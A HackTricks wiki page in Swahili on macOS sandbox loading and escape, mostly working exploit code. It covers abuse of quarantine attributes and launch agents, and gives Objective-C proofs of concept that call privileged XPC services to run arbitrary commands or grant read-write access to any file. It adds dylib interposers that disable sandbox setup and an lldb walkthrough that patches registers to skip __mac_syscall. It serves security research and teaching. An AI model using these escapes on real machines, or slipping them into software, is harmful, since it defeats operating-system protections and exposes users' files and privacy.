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468 lines
22 KiB
Markdown
468 lines
22 KiB
Markdown
# macOS Sandbox Debug & Bypass
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{{#include ../../../../../banners/hacktricks-training.md}}
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## Sandbox loading process
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<figure><img src="../../../../../images/image (901).png" alt=""><figcaption><p>Picha kutoka <a href="http://newosxbook.com/files/HITSB.pdf">http://newosxbook.com/files/HITSB.pdf</a></p></figcaption></figure>
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Katika picha iliyopita inawezekana kuona **jinsi sandbox itakavyopakiwa** wakati programu yenye haki **`com.apple.security.app-sandbox`** inapoendeshwa.
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Mwandiko utaunganisha `/usr/lib/libSystem.B.dylib` na binary.
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Kisha, **`libSystem.B`** itakuwa ikitafuta kazi nyingine kadhaa hadi **`xpc_pipe_routine`** itume haki za programu kwa **`securityd`**. Securityd inakagua kama mchakato unapaswa kuwa karantini ndani ya Sandbox, na ikiwa ndivyo, itakuwa karantini.\
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Hatimaye, sandbox itakamilishwa kwa wito wa **`__sandbox_ms`** ambayo itaita **`__mac_syscall`**.
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## Possible Bypasses
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### Bypassing quarantine attribute
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**Faili zinazoundwa na michakato ya sandboxed** zinaongezwa **sifa ya karantini** ili kuzuia kutoroka kwa sandbox. Hata hivyo, ikiwa utaweza **kuunda folda ya `.app` bila sifa ya karantini** ndani ya programu ya sandboxed, unaweza kufanya binary ya kifurushi cha programu iangalie **`/bin/bash`** na kuongeza baadhi ya mabadiliko ya mazingira katika **plist** ili kutumia **`open`** ku **anzisha programu mpya bila sandbox**.
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Hii ndiyo iliyofanywa katika [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)**.**
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> [!CAUTION]
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> Hivyo, kwa sasa, ikiwa unaweza tu kuunda folda yenye jina linalomalizika na **`.app`** bila sifa ya karantini, unaweza kutoroka sandbox kwa sababu macOS inachunguza tu **sifa ya karantini** katika **folda ya `.app`** na katika **kifurushi kikuu** (na tutaanika kifurushi kikuu kwa **`/bin/bash`**).
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>
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> Kumbuka kwamba ikiwa kifurushi cha .app tayari kimeidhinishwa kuendesha (kimekuwa na xttr ya karantini yenye bendera ya kuidhinishwa kuendesha), unaweza pia kutumia... isipokuwa sasa huwezi kuandika ndani ya **`.app`** bundles isipokuwa una baadhi ya ruhusa za TCC zenye mamlaka (ambazo huna ndani ya sandbox ya juu).
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### Abusing Open functionality
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Katika [**esempe za mwisho za kutoroka sandbox ya Word**](macos-office-sandbox-bypasses.md#word-sandbox-bypass-via-login-items-and-.zshenv) inaweza kuonekana jinsi **`open`** cli functionality inaweza kutumika vibaya ili kutoroka sandbox.
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{{#ref}}
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macos-office-sandbox-bypasses.md
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{{#endref}}
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### Launch Agents/Daemons
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Hata kama programu ime **kusudiwa kuwa sandboxed** (`com.apple.security.app-sandbox`), inawezekana kupita sandbox ikiwa itatekelezwa kutoka kwa LaunchAgent (`~/Library/LaunchAgents`) kwa mfano.\
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Kama ilivyoelezwa katika [**hiki chapisho**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818), ikiwa unataka kupata kudumu na programu ambayo inasandboxed unaweza kufanya iwetekelezwe kiotomatiki kama LaunchAgent na labda kuingiza msimbo mbaya kupitia mabadiliko ya mazingira ya DyLib.
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### Abusing Auto Start Locations
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Ikiwa mchakato wa sandboxed unaweza **kuandika** mahali ambapo **baadaye programu isiyo na sandbox itakapoendesha binary**, itakuwa na uwezo wa **kutoroka kwa kuweka** hapo binary. Mfano mzuri wa aina hii ya maeneo ni `~/Library/LaunchAgents` au `/System/Library/LaunchDaemons`.
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Kwa hili unaweza hata kuhitaji **hatua 2**: Kufanya mchakato wenye **sandbox yenye ruhusa zaidi** (`file-read*`, `file-write*`) kutekeleza msimbo wako ambao kwa kweli utaandika mahali ambapo itatekelezwa **bila sandbox**.
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Angalia ukurasa huu kuhusu **Auto Start locations**:
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{{#ref}}
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../../../../macos-auto-start-locations.md
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{{#endref}}
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### Abusing other processes
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Ikiwa kutoka kwa mchakato wa sandbox unaweza **kuathiri michakato mingine** inayofanya kazi katika sandboxes zenye vizuizi vidogo (au hakuna), utaweza kutoroka kwenye sandboxes zao:
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{{#ref}}
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../../../macos-proces-abuse/
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{{#endref}}
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### Available System and User Mach services
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Sandbox pia inaruhusu kuwasiliana na **Huduma za Mach** fulani kupitia XPC zilizofafanuliwa katika profaili `application.sb`. Ikiwa utaweza **kutumia** moja ya hizi huduma unaweza kuwa na uwezo wa **kutoroka sandbox**.
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Kama ilivyoonyeshwa katika [hiki andiko](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/), taarifa kuhusu huduma za Mach inahifadhiwa katika `/System/Library/xpc/launchd.plist`. Inawezekana kupata huduma zote za System na User Mach kwa kutafuta ndani ya faili hiyo kwa `<string>System</string>` na `<string>User</string>`.
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Zaidi ya hayo, inawezekana kuangalia ikiwa huduma ya Mach inapatikana kwa programu ya sandboxed kwa kuita `bootstrap_look_up`:
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```objectivec
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void checkService(const char *serviceName) {
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mach_port_t service_port = MACH_PORT_NULL;
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kern_return_t err = bootstrap_look_up(bootstrap_port, serviceName, &service_port);
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if (!err) {
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NSLog(@"available service:%s", serviceName);
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mach_port_deallocate(mach_task_self_, service_port);
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}
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}
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void print_available_xpc(void) {
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NSDictionary<NSString*, id>* dict = [NSDictionary dictionaryWithContentsOfFile:@"/System/Library/xpc/launchd.plist"];
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NSDictionary<NSString*, id>* launchDaemons = dict[@"LaunchDaemons"];
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for (NSString* key in launchDaemons) {
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NSDictionary<NSString*, id>* job = launchDaemons[key];
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NSDictionary<NSString*, id>* machServices = job[@"MachServices"];
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for (NSString* serviceName in machServices) {
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checkService(serviceName.UTF8String);
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}
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}
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}
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```
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### Available PID Mach services
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Huduma hizi za Mach zilikuwa za kwanza kutumika vibaya ili [kutoroka kutoka kwenye sandbox katika andiko hili](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/). Wakati huo, **huduma zote za XPC zinazohitajika** na programu na mfumo wake zilionekana katika eneo la PID la programu (hizi ni Huduma za Mach zikiwa na `ServiceType` kama `Application`).
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Ili **kuwasiliana na huduma ya XPC ya PID Domain**, inahitajika tu kuisajili ndani ya programu kwa mstari kama:
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```objectivec
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[[NSBundle bundleWithPath:@“/System/Library/PrivateFrameworks/ShoveService.framework"]load];
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```
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Zaidi ya hayo, inawezekana kupata huduma zote za **Application** Mach kwa kutafuta ndani ya `System/Library/xpc/launchd.plist` kwa `<string>Application</string>`.
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Njia nyingine ya kupata huduma halali za xpc ni kuangalia zile katika:
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```bash
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find /System/Library/Frameworks -name "*.xpc"
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find /System/Library/PrivateFrameworks -name "*.xpc"
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```
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Kadhaa ya mifano inayotumia mbinu hii yanaweza kupatikana katika [**andiko la awali**](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/), hata hivyo, yafuatayo ni baadhi ya mifano iliyofupishwa.
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#### /System/Library/PrivateFrameworks/StorageKit.framework/XPCServices/storagekitfsrunner.xpc
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Huduma hii inaruhusu kila muunganisho wa XPC kwa kurudisha kila wakati `YES` na mbinu `runTask:arguments:withReply:` inatekeleza amri yoyote na vigezo vya kiholela.
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Ushambuliaji ulikuwa "rahisi kama":
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```objectivec
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@protocol SKRemoteTaskRunnerProtocol
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-(void)runTask:(NSURL *)task arguments:(NSArray *)args withReply:(void (^)(NSNumber *, NSError *))reply;
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@end
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void exploit_storagekitfsrunner(void) {
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[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/StorageKit.framework"] load];
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NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.storagekitfsrunner"];
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conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SKRemoteTaskRunnerProtocol)];
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[conn setInterruptionHandler:^{NSLog(@"connection interrupted!");}];
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[conn setInvalidationHandler:^{NSLog(@"connection invalidated!");}];
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[conn resume];
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[[conn remoteObjectProxy] runTask:[NSURL fileURLWithPath:@"/usr/bin/touch"] arguments:@[@"/tmp/sbx"] withReply:^(NSNumber *bSucc, NSError *error) {
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NSLog(@"run task result:%@, error:%@", bSucc, error);
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}];
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}
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```
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#### /System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework/XPCServices/AudioAnalyticsHelperService.xpc
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Huduma hii ya XPC iliruhusu kila mteja kwa kurudi kila wakati YES na njia `createZipAtPath:hourThreshold:withReply:` kimsingi iliruhusu kuashiria njia ya folda ya kubana na itabana katika faili la ZIP.
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Kwa hivyo, inawezekana kuunda muundo wa folda ya programu bandia, kuibana, kisha kuibua na kuitekeleza ili kutoroka sandbox kwani faili mpya hazitakuwa na sifa ya karantini.
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Ushambuliaji ulikuwa:
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```objectivec
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@protocol AudioAnalyticsHelperServiceProtocol
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-(void)pruneZips:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
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-(void)createZipAtPath:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
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@end
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void exploit_AudioAnalyticsHelperService(void) {
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NSString *currentPath = NSTemporaryDirectory();
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chdir([currentPath UTF8String]);
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NSLog(@"======== preparing payload at the current path:%@", currentPath);
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system("mkdir -p compressed/poc.app/Contents/MacOS; touch 1.json");
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[@"#!/bin/bash\ntouch /tmp/sbx\n" writeToFile:@"compressed/poc.app/Contents/MacOS/poc" atomically:YES encoding:NSUTF8StringEncoding error:0];
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system("chmod +x compressed/poc.app/Contents/MacOS/poc");
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[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework"] load];
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NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.internal.audioanalytics.helper"];
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conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(AudioAnalyticsHelperServiceProtocol)];
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[conn resume];
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[[conn remoteObjectProxy] createZipAtPath:currentPath hourThreshold:0 withReply:^(id *error){
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NSDirectoryEnumerator *dirEnum = [[[NSFileManager alloc] init] enumeratorAtPath:currentPath];
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NSString *file;
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while ((file = [dirEnum nextObject])) {
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if ([[file pathExtension] isEqualToString: @"zip"]) {
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// open the zip
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NSString *cmd = [@"open " stringByAppendingString:file];
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system([cmd UTF8String]);
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sleep(3); // wait for decompression and then open the payload (poc.app)
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NSString *cmd2 = [NSString stringWithFormat:@"open /Users/%@/Downloads/%@/poc.app", NSUserName(), [file stringByDeletingPathExtension]];
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system([cmd2 UTF8String]);
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break;
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}
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}
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}];
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}
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```
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#### /System/Library/PrivateFrameworks/WorkflowKit.framework/XPCServices/ShortcutsFileAccessHelper.xpc
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Huduma hii ya XPC inaruhusu kutoa ufikiaji wa kusoma na kuandika kwa URL yoyote kwa mteja wa XPC kupitia njia `extendAccessToURL:completion:` ambayo inakubali muunganisho wowote. Kwa kuwa huduma ya XPC ina FDA, inawezekana kutumia ruhusa hizi kukwepa TCC kabisa.
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Ushambuliaji ulikuwa:
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```objectivec
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@protocol WFFileAccessHelperProtocol
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- (void) extendAccessToURL:(NSURL *) url completion:(void (^) (FPSandboxingURLWrapper *, NSError *))arg2;
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@end
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typedef int (*PFN)(const char *);
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void expoit_ShortcutsFileAccessHelper(NSString *target) {
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[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/WorkflowKit.framework"]load];
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NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.WorkflowKit.ShortcutsFileAccessHelper"];
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conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(WFFileAccessHelperProtocol)];
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[conn.remoteObjectInterface setClasses:[NSSet setWithArray:@[[NSError class], objc_getClass("FPSandboxingURLWrapper")]] forSelector:@selector(extendAccessToURL:completion:) argumentIndex:0 ofReply:1];
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[conn resume];
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[[conn remoteObjectProxy] extendAccessToURL:[NSURL fileURLWithPath:target] completion:^(FPSandboxingURLWrapper *fpWrapper, NSError *error) {
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NSString *sbxToken = [[NSString alloc] initWithData:[fpWrapper scope] encoding:NSUTF8StringEncoding];
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NSURL *targetURL = [fpWrapper url];
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void *h = dlopen("/usr/lib/system/libsystem_sandbox.dylib", 2);
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PFN sandbox_extension_consume = (PFN)dlsym(h, "sandbox_extension_consume");
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if (sandbox_extension_consume([sbxToken UTF8String]) == -1)
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NSLog(@"Fail to consume the sandbox token:%@", sbxToken);
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else {
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NSLog(@"Got the file R&W permission with sandbox token:%@", sbxToken);
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NSLog(@"Read the target content:%@", [NSData dataWithContentsOfURL:targetURL]);
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}
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}];
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}
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```
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### Static Compiling & Dynamically linking
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[**Utafiti huu**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) uligundua njia 2 za kupita Sandbox. Kwa sababu sandbox inatumika kutoka userland wakati maktaba ya **libSystem** inapoloadiwa. Ikiwa binary inaweza kuepuka kuiload, haitapata sandbox kamwe:
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- Ikiwa binary ilikuwa **imeundwa kabisa kwa statically**, inaweza kuepuka kuiload maktaba hiyo.
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- Ikiwa **binary haitahitaji kuiload maktaba yoyote** (kwa sababu linker pia iko katika libSystem), haitahitaji kuiload libSystem.
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### Shellcodes
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Kumbuka kwamba **hata shellcodes** katika ARM64 zinahitaji kuunganishwa katika `libSystem.dylib`:
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```bash
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ld -o shell shell.o -macosx_version_min 13.0
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ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64
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```
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### Vizuwi visivyorithishwa
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Kama ilivyoelezwa katika **[bonus of this writeup](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)** vizuwi vya sandbox kama:
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```
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(version 1)
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(allow default)
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(deny file-write* (literal "/private/tmp/sbx"))
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```
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inaweza kupuuziliwa mbali na mchakato mpya ukitekeleza kwa mfano:
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```bash
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mkdir -p /tmp/poc.app/Contents/MacOS
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echo '#!/bin/sh\n touch /tmp/sbx' > /tmp/poc.app/Contents/MacOS/poc
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chmod +x /tmp/poc.app/Contents/MacOS/poc
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open /tmp/poc.app
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```
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Hata hivyo, bila shaka, mchakato huu mpya hautarithi haki au mamlaka kutoka kwa mchakato wa mzazi.
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### Haki
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Kumbuka kwamba hata kama baadhi ya **vitendo** vinaweza kuwa **vinavyoruhusiwa na sanduku** ikiwa programu ina **haki** maalum, kama ilivyo:
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```scheme
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(when (entitlement "com.apple.security.network.client")
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(allow network-outbound (remote ip))
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(allow mach-lookup
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(global-name "com.apple.airportd")
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(global-name "com.apple.cfnetwork.AuthBrokerAgent")
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(global-name "com.apple.cfnetwork.cfnetworkagent")
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[...]
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```
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### Interposting Bypass
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Kwa maelezo zaidi kuhusu **Interposting** angalia:
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{{#ref}}
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../../../macos-proces-abuse/macos-function-hooking.md
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{{#endref}}
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#### Interpost `_libsecinit_initializer` ili kuzuia sandbox
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```c
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// gcc -dynamiclib interpose.c -o interpose.dylib
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#include <stdio.h>
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void _libsecinit_initializer(void);
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void overriden__libsecinit_initializer(void) {
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printf("_libsecinit_initializer called\n");
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}
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__attribute__((used, section("__DATA,__interpose"))) static struct {
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void (*overriden__libsecinit_initializer)(void);
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void (*_libsecinit_initializer)(void);
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}
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_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};
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```
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```bash
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DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
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_libsecinit_initializer called
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Sandbox Bypassed!
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```
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#### Interpost `__mac_syscall` ili kuzuia Sandbox
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```c:interpose.c
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// gcc -dynamiclib interpose.c -o interpose.dylib
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#include <stdio.h>
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#include <string.h>
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// Forward Declaration
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int __mac_syscall(const char *_policyname, int _call, void *_arg);
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// Replacement function
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int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
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printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
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if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
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printf("Bypassing Sandbox initiation.\n");
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return 0; // pretend we did the job without actually calling __mac_syscall
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}
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// Call the original function for other cases
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return __mac_syscall(_policyname, _call, _arg);
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}
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// Interpose Definition
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struct interpose_sym {
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const void *replacement;
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const void *original;
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};
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// Interpose __mac_syscall with my_mac_syscall
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__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
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{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
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};
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```
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```bash
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DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
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__mac_syscall invoked. Policy: Sandbox, Call: 2
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__mac_syscall invoked. Policy: Sandbox, Call: 2
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__mac_syscall invoked. Policy: Sandbox, Call: 0
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Bypassing Sandbox initiation.
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__mac_syscall invoked. Policy: Quarantine, Call: 87
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__mac_syscall invoked. Policy: Sandbox, Call: 4
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Sandbox Bypassed!
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```
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### Debug & bypass Sandbox with lldb
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Tukutane na programu ambayo inapaswa kuwekwa kwenye sandbox:
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{{#tabs}}
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{{#tab name="sand.c"}}
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```c
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#include <stdlib.h>
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int main() {
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system("cat ~/Desktop/del.txt");
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}
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```
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{{#endtab}}
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{{#tab name="entitlements.xml"}}
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```xml
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<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
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<dict>
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<key>com.apple.security.app-sandbox</key>
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<true/>
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|
</dict>
|
|
</plist>
|
|
```
|
|
{{#endtab}}
|
|
|
|
{{#tab name="Info.plist"}}
|
|
```xml
|
|
<plist version="1.0">
|
|
<dict>
|
|
<key>CFBundleIdentifier</key>
|
|
<string>xyz.hacktricks.sandbox</string>
|
|
<key>CFBundleName</key>
|
|
<string>Sandbox</string>
|
|
</dict>
|
|
</plist>
|
|
```
|
|
{{#endtab}}
|
|
{{#endtabs}}
|
|
|
|
Kisha jenga programu:
|
|
```bash
|
|
# Compile it
|
|
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand
|
|
|
|
# Create a certificate for "Code Signing"
|
|
|
|
# Apply the entitlements via signing
|
|
codesign -s <cert-name> --entitlements entitlements.xml sand
|
|
```
|
|
> [!CAUTION]
|
|
> Programu itajaribu **kusoma** faili **`~/Desktop/del.txt`**, ambayo **Sandbox haitaruhusu**.\
|
|
> Unda faili hapo kwani mara Sandbox itakapovukwa, itakuwa na uwezo wa kuisoma:
|
|
>
|
|
> ```bash
|
|
> echo "Sandbox Bypassed" > ~/Desktop/del.txt
|
|
> ```
|
|
|
|
Hebu tuangalie programu ili kuona wakati Sandbox inapo load:
|
|
```bash
|
|
# Load app in debugging
|
|
lldb ./sand
|
|
|
|
# Set breakpoint in xpc_pipe_routine
|
|
(lldb) b xpc_pipe_routine
|
|
|
|
# run
|
|
(lldb) r
|
|
|
|
# This breakpoint is reached by different functionalities
|
|
# Check in the backtrace is it was de sandbox one the one that reached it
|
|
# We are looking for the one libsecinit from libSystem.B, like the following one:
|
|
(lldb) bt
|
|
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
|
|
* frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
|
|
frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
|
|
frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
|
|
frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
|
|
frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272
|
|
|
|
# To avoid lldb cutting info
|
|
(lldb) settings set target.max-string-summary-length 10000
|
|
|
|
# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
|
|
(lldb) p (char *) xpc_copy_description($x1)
|
|
(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...
|
|
|
|
# The 3 arg is the address were the XPC response will be stored
|
|
(lldb) register read x2
|
|
x2 = 0x000000016fdfd660
|
|
|
|
# Move until the end of the function
|
|
(lldb) finish
|
|
|
|
# Read the response
|
|
## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
|
|
(lldb) memory read -f p 0x000000016fdfd660 -c 1
|
|
0x16fdfd660: 0x0000600003d04000
|
|
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
|
|
(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"
|
|
|
|
# To bypass the sandbox we need to skip the call to __mac_syscall
|
|
# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
|
|
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
|
|
(lldb) c
|
|
|
|
# The 1 arg is the name of the policy, in this case "Sandbox"
|
|
(lldb) memory read -f s $x0
|
|
0x19300eb22: "Sandbox"
|
|
|
|
#
|
|
# BYPASS
|
|
#
|
|
|
|
# Due to the previous bp, the process will be stopped in:
|
|
Process 2517 stopped
|
|
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
|
|
frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
|
|
libsystem_kernel.dylib`:
|
|
-> 0x187659900 <+0>: mov x16, #0x17d
|
|
0x187659904 <+4>: svc #0x80
|
|
0x187659908 <+8>: b.lo 0x187659928 ; <+40>
|
|
0x18765990c <+12>: pacibsp
|
|
|
|
# To bypass jump to the b.lo address modifying some registers first
|
|
(lldb) breakpoint delete 1 # Remove bp
|
|
(lldb) register write $pc 0x187659928 #b.lo address
|
|
(lldb) register write $x0 0x00
|
|
(lldb) register write $x1 0x00
|
|
(lldb) register write $x16 0x17d
|
|
(lldb) c
|
|
Process 2517 resuming
|
|
Sandbox Bypassed!
|
|
Process 2517 exited with status = 0 (0x00000000)
|
|
```
|
|
> [!WARNING] > **Hata kama Sandbox imeepukwa TCC** itauliza mtumiaji kama anataka kuruhusu mchakato kusoma faili kutoka kwenye desktop
|
|
|
|
## References
|
|
|
|
- [http://newosxbook.com/files/HITSB.pdf](http://newosxbook.com/files/HITSB.pdf)
|
|
- [https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/)
|
|
- [https://www.youtube.com/watch?v=mG715HcDgO8](https://www.youtube.com/watch?v=mG715HcDgO8)
|
|
|
|
{{#include ../../../../../banners/hacktricks-training.md}}
|